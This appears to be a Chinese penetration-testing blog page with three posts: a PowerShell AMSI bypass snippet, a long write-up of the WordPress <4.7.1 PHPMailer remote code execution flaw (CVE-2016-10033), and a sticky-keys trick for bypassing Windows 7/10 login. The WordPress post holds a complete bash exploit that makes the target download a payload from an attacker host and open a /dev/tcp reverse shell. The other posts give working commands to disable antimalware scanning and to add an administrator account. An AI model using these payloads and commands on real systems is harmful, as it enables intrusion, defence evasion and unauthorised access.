绕过AMSI执行powershell脚本 渗透测试

简单的演示下从老外哪里学来的bypass AMSI 的姿势,看下效果图: 

1.jpg

 

绕过AMSI执行powershell脚本

AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口,程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务(如Windows Defender)。

在基于场景的资产评估或者基于数据的红队评估中,许多渗透测试人员都会与AMSI打交道,因此对相关功能也比较了解。AMSI能够提供更强大的保护,可以为反恶意软件产品提供更透彻的可见性,因此能防御攻击过程中常用的一些现代工具、战术以及过程(TTP)。最相关的操作就是PowerShell无文件payload,在实际环境中,攻击者及渗透测试人员都在使用这种技术来完成任务。

正因为此,AMSI是大家广泛研究的一个主题,能否绕过AMSI已经成为攻击能否成功的决定性因素。在本文中,介绍了一种新的绕过方法。

关键powershell代码如下:

$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') 
$h="4456625220575263174452554847" 
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " " 
$b =$a.GetField($s,'NonPublic,Static') $b.SetValue($null,$true)

效果如图:
AMSI_TN_bypass

代码来自:https://pastebin.com/sQFWANwr

参考文章:https://www.anquanke.com/post/id/180281


admin 发布于  2020-7-2 23:12 

WordPress<4.7.1 远程代码执行漏洞(非插件无需认证,附Poc,演示视频) 渗透测试

漏洞概述

漏洞编号:CVE-2016-10033

漏洞发现者:dawid_golunski

漏洞危害:严重

影响版本:WordPress <4.7.1

漏洞描述:远程攻击者可以利用该漏洞执行代码

漏洞细节

这个漏洞主要是PHPMailer漏洞(CVE-2016-10033)在WordPress Core代码中的体现,该漏洞不需要任何的验证和插件,在默认的配置情况下就可以利用。远程攻击者可以利用该漏洞执行代码。由于该漏洞影响比较大,通过和官方协商,决定推迟更新wordpress漏洞细节。

漏洞代码:

if ( !isset( $from_email ) ) {
              // Get the site domain and get rid of www.
              $sitename = strtolower( $_SERVER['SERVER_NAME'] );
              if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                      $sitename = substr( $sitename, 4 );
              }
              $from_email = 'wordpress@' . $sitename;
      }
      /**
       * Filters the name to associate with the "from" email address.
       *
       * @since 2.3.0
       *
       * @param string $from_name Name associated with the "from" email address.
       */
      $from_name = apply_filters( 'wp_mail_from_name', $from_name );
      $phpmailer->setFrom( $from_email, $from_name );

WordPress 根据SERVER_NAME 服务器头设置电子邮件域,当WordPress wp_mail()函数被调用来发送电子邮件时(例如,用户注册,忘记密码等)。可以看到from是这样的:

$from_email = 'wordpress@' . $sitename;

然后将其过滤并传递到PHPMailer的易受攻击的setFrom()函数中,相关细节请回顾:

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code -exec-CVE-2016-10033-Vuln.html

注入

可以在Apache的默认配置上操作SERVER_NAME服务器头。Web服务器(最常见的WordPress部署)通过HTTP请求中的HOST头。

为了验证这点,请看vars.php请求与响应的演示:

GET /vars.php HTTP/1.1
Host: xenialINJECTION
HTTP/1.1 200 OK
Server: Apache
Array
(
  [HTTP_HOST] => xenialINJECTION
  [SERVER_SOFTWARE] => Apache/2.4.18 (Ubuntu)
  [SERVER_NAME] => xenialinjection
...




我们可以看到,在HOST头文件中附加到主机名的INJECTION字符串 复制到HTTP_HOST和SERVER_NAME PHP变量。

使用这个HOST头的例子,如果攻击者触发了wp_mail()函数

通过使用WordPress的忘记密码功能,HTTP请求将类似于:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenialINJECT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
user_login=admin&redirect_to=&wp-submit=Get+New+Password

并将导致以下参数传递到/ usr / sbin / sendmail:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenialinject]

这里需要注意的是第三个参数。电子邮件的域名部分匹配请求的HOST头,小写“inject”除外。

绕过过滤

为了利用PHPMailer的mail()注入漏洞,攻击者会将参数附加到域部分。但是,过滤/验证这个地方(在wordpress方面以及PHPMailer库方面)都会

防止攻击者注入空字符(空格或TAB),因此从注入参数到sendmail binary 。

例如,如果攻击者将HOST头修改为以下内容:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenialINJECT SPACE

验证将导致无效的域部分错误,并且WordPress应用程序将退出http响应:

HTTP/1.0 500 Internal Server Error

在这种情况下,PHPMailer函数永远不会被执行(sendmail binary 不会被执行)

PHPMailer库的validateAddress()函数以及PHP的filter_var / FILTER_VALIDATE_EMAIL都符合RFC 822标准

详细请查看:

http://php.net/manual/en/filter.filters.validate.php  

它禁止域部分中的空格,从而防止注入的附加参数到/ usr / sbin / sendmail。

应该注意的是注入额外的 \ 反斜杠到电子邮件的用户名部分

http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

对于攻击者来说,在这种情况下电子邮件的用户名部分很难利用。

RFC 822和注释语法

根据查看RFC 822规范,找到绕过验证的一种潜在的方法:

https://www.ietf.org/rfc/rfc822.txt

电子邮件地址可以包含注释

该文件给出了一个电子邮件示例,其中括号中有注释:

":sysmail"@  Some-Group. Some-Org,
          Muhammed.(I am  the greatest) Ali @(the)Vegas.WBA

作为有效的电子邮件,域内部分的简化注释示例:

[email protected](comment)

经过进一步测试,结果发现注释部分可以包含空格在域名部分,可以作为一种绕过的方式。将验证域部分注入附加参数到sendmail binary。

通过注释语法注入参数

以下请求与HOST头设置为:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 injected tmp2)

不会触发错误,测试以下参数发送邮件 :

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [injected]
Arg no. 5 == [tmp2)]

我们已经设法绕过Wordpress过滤器的验证以及PHPMailer的内部setFrom()验证。

apply_filters( 'wp_mail_from_name', $from_name );

我们现在可以控制第四个参数('inject')并且可以注入。如果需要,参数3和参数5之间有更多的参数。在理论上,我们现在应该可以注入额外的参数到/ usr / sbin / sendmail包装器 从而实现任意代码执行。

通过Sendmail MTA执行代码

迄今为止,唯一已知的方法是通过远程执行代码执行PHPmailer(),PHPmailer()依赖于目标系统上的Sendmail MTA

最常见的Sendmail MTA向量类似于:

-OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php


它通常通过输入信息写入一个包含php后门的日志文件

然而,这种技术有两个问题:

1)

Sendmail MTA不再常用,我们可以通过查看来验证

http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html

这表明Sendmail在Linux MTA中最不受欢迎。它不附带任何现代的Linux发行版。

2)

上述的Sendmail技术在这种情况下不起作用。如前所述,主机名复制到SERVER_NAME服务器变量被转换成小写,因此被注入Sendmail参数在请求中类似于:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -O -X tmp2)

将出现以下一组sendmail参数:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-o]
Arg no. 5 == [-x]
Arg no. 6 == [tmp2)]

Sendmail会失败并出现错误,因为这里参数是区分大小写的,而-q和-x都不会工作。

通过Exim4 MTA执行代码

关于php mail()函数相关有趣的点(远程代码执行)可以关注这篇文章

https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

PHPMailer和其他电子邮件库中的漏洞同样也可以利用Exim4 MTA执行代码,基本格式如下

sendmail -be'$ {run {/ bin / true} {true} {false}}'

-be开关启用字符串扩展测试模式。上述扩展执行/ bin / true并返回值

同样,以下将执行id命令:

sendmail -be'$ {run {/ bin / bash -c“id”} {yes} {no}}'

注意:在使用Exim4的系统上,/ usr / sbin / sendmail只是一个符号链接:/ usr / sbin / sendmail  - > exim4与Sendmail MTA无关。

这个点可以可靠的方式实现执行命令

$ run expand指定为参数,不需要将文件写入/ var / www / html或猜测目录路径

HOST头限制

看似简单的Exim4 向量在实践中变得棘手,因为上述扩展字符串不能在HOST头文件中运行。

请求格式如下:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 slash/ -X tmp2)

由于在HOST头中出现斜线/字符,Apache网络服务器将会拒绝该请求。$run函数不会正常执行,因为它需要一个完整的二进制文件的路径执行(这表明exim4使用exec()来执行命令,而不是通过system()执行命令)。

绕过限制

绕过HOST头的限制几种方法

尝试通过研究可用的Exim字符串:

http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html

嵌入式perl

其中一个扩展是:

$ {perl {foo} {argument1} {argument2} ...}

不过Perl在默认情况下没有启用perl,因此漏洞无法使用。

编码

对base64和HEX编码/解码功能进行了测试。但是似乎没有被exim4支持,测试的时候报错,如:

sendmail -be'$ {base64d:QUI =}'

失败:未知扩展运算符“base64d”

子字符串和环境变量

---------------------

另一个想法是结合使用已知的环境变量,用子字符串提取禁止的斜杠字符。例如,PATH环境变量包含斜杠:

PATH = / bin:/ usr / bin

因此是一个很好的候选变量。

$ {env {PATH}}可用于获取变量和连接$substring(子字符串)扩展,从而可以获得斜杠。在以下命令中可以看到:

sendmail -be'$ {substr {0} {1} {$ {env {PATH}}}}'
/

不幸的是,这种技术导致了一个死胡同,环境变量PATH插入到HOST头文件中时转换为小写,在Linux下不工作。

子字符串和内部exim4变量

--------------------------------------

通过不断的测试发现以下变量可以使用:

sendmail -be '${spool_directory}'
/var/spool/exim4

spool_directory变量默认存在,并且没有大写字母,因此可以可靠地执行。

斜杠可以替换为:

$ {SUBSTR {0} {1} {$ spool_directory}}

从而绕过HOST头的斜杠限制。

以下命令:

sendmail -be'$ {run {/ usr / bin / touch / tmp / test}}'

现在可以转换为:

sendmail -be'$ {run {$ {substr {0} {1} {$ spool_directory}} usr $ {substr {0} {1} {$ spool_directory}} bin $ {substr {0} {1} {$ spool_directory }} touch $ {substr {0} {1} {$ spool_directory}} tmp $ {substr {0} {1} {$ spool_directory}} test}}'

这在terminal 下正常工作,但是在HTTP请求中进行测试时:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}  tmp2)

转化后是以下sendmail参数:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-be]
Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch]
Arg no. 6 == [${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}]
Arg no. 7 == [tmp2)]

我们可以看到,有效载荷被分解成5和6的两个参数而不是一个,这样可以防止Exim正确地执行有效载荷。这个问题是由命令参数之间的空格引起的(空格'touch')

替换空格

------------------

首先,我们考虑环境变量IFS,环境变量不能像以前测试的那样正常工作。

经过深入研究,发现了一个方便的内部exim变量:

sendmail -be'$ {tod_log}'
2016-01-02 23:49:42

tod_log变量返回一个含有空格的当前日期格式。

类似于斜杠替换,$ substring + $ tod_log变量可以

用于替换测试的空格:

sendmail -be'$ {substr {10} {1} {$ tod_log}}'

PoC HTTP请求

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}  tmp2)
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password

发送到WordPress核心应用程序时的上述请求会导致exim被调用,其中转化后的参数格式如下:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-be]
Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}]
Arg no. 6 == [tmp2)]

这里将在目标系统WordPress 4.6上创建一个测试test文件:

/usr/bin/touch /tmp/test

以上是全部的构造PoC的过程,可以通过这个逻辑进而反弹shell。

PoC 


rev_host="192.168.57.1"
function prep_host_header() {
      cmd="$1"
      rce_cmd="\${run{$cmd}}";
      # replace / with ${substr{0}{1}{$spool_directory}}
      #sed 's^/^${substr{0}{1}{$spool_directory}}^g'
      rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
      # replace ' ' (space) with
      #sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
      rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
      #return "target(any -froot@localhost -be $rce_cmd null)"
      host_header="target(any -froot@localhost -be $rce_cmd null)"
      return 0
}
#cat exploitbox.ans
intro="
DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
intro2="
ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09
fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb
MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE
aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09
fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg
ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh
bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt
ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp
bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1
cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="
echo "$intro"  | base64 -d
echo "$intro2" | base64 -d
if [ "$#" -ne 1 ]; then
echo -e "Usage:\n$0 target-wordpress-url\n"
exit 1
fi
target="$1"
echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo
if [ "$choice" == "y" ]; then
echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
echo -e "\e[92m[+]\033[0m Connected to the target"
# Serve payload/bash script on :80
RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
echo "$RCE_exec_cmd" > rce.txt
python -mSimpleHTTPServer 80 2>/dev/null >&2 &
hpid=$!
# Save payload on the target in /tmp/rce
cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
prep_host_header "$cmd"
curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
cmd="/bin/bash /tmp/rce"
prep_host_header "$cmd"
curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &
echo -e "\n\e[92m[+]\033[0m Payload executed!"
echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
nc -vv -l 1337
echo
else
echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
exit 0
fi
echo "Exiting..."
exit 0

PoC演示视频: http://v.youku.com/v_show/id_XMjc0MDU2NjQyMA==.html

修复建议:

更新到最新版本或者4.7.1以上版本

下载地址https://wordpress.org/latest.zip

参考:

https://legalhackers.com/ 

https://exploitbox.io/ 

https://youtu.be/ZFt_S5pQPX0 

https://w3techs.com/technologies/details/cm-wordpress/all/all 

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html 

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html 

https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html 

https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html  


admin 发布于  2017-5-4 21:25 

win7 win10绕过系统密码添加用户登陆 技术文章

3.jpg

[blue] 不使用任何工具/软件来绕过win7、win10的密码从而添加新账户/修改本身账户密码来登陆系统 ,这个方法在网上也有过,今天呢博主专门测试了一下,是可以的,所以发出来,共享。方便大家在忘记密码而又没有工具的时候登录系统。下面就开始吧:[/blue]

0x001

首先我们让电脑重启下,并且还得让他进入修复模式

最简单的方法就是长按电源键,然后直到他强制关机,再开机,哇哦,进入修复模式了呢!

0x002

然后你就看到了非正常关机的修复界面,蓝底白字那个,我不用win10就不截图了,自己感受,然后别点重启,点高级设置!

0x003

然后,又有三个选项,不用管,看图看得懂吧?选择第二个,那个螺丝刀和扳手的自动排查图标!

0x004

这里windows会让你选择从镜像恢复或是命令行提示符,机智的你是不是肯定会选择命令提示符呢?

然后你就想执行命令了是吧?添加账号了是吧?提升为管理员了是吧?

呵呵。。。那我还写着文章干嘛?事实证明是没用的,应为这个命令行无法为正常windows系统添加账户(说的太深,自己理解去吧)

4.jpg



这个时候我们用命令行这样执行:

c:
cd Windows\System32\
rename sethc.exe bak_sethc.exe
xcopy cmd.exe sethc.exe
exit

 嗯哼,打完收工。。。。明白了吧,把粘滞键改成cmd。


然后重启电脑,看到登录界面,要我输入密码???按五下shift,CMD弹出来了吧?呼呼。

这个时候,你可以去添加账户了,绝对是添加给当前系统的。

net user p0tt1 p0tt1666 /add

net loucalgroup administrators p0tt1 /add


然后?然后就进去了...进去了...去了...了...

[quote] 注:代码和过程其实都差不多,博主比较懒,不想打字,复制的,原文:http://p0tt1.com/?post/1lyzhz [/quote]



admin 发布于  2016-2-24 18:45